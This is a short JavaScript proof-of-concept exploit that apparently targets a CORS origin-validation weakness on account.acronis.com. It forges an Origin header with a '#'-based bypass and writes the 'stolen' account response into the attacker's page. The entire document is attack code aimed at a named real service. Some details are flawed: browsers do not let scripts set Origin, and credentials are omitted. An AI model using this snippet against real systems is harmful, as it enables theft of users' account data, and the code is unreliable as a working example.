fetch('https://account.acronis.com/v2/account', { method: 'GET', mode: 'cors', credentials: 'omit', // Use 'omit' or 'include' depending on the app's behavior headers: { 'Origin': 'https://ontechsmarthomeservices.com#.account.acronis.com' // Browser might drop #, but the point is the server's response } }).then(response => response.text()) .then(data => { // This is where you can show the stolen data on your page. // For example, display the JSON response on the screen. document.body.innerHTML = '
' + data + ''; }) .catch(error => { // Handle any errors document.body.innerHTML = '
' + error + '
'; });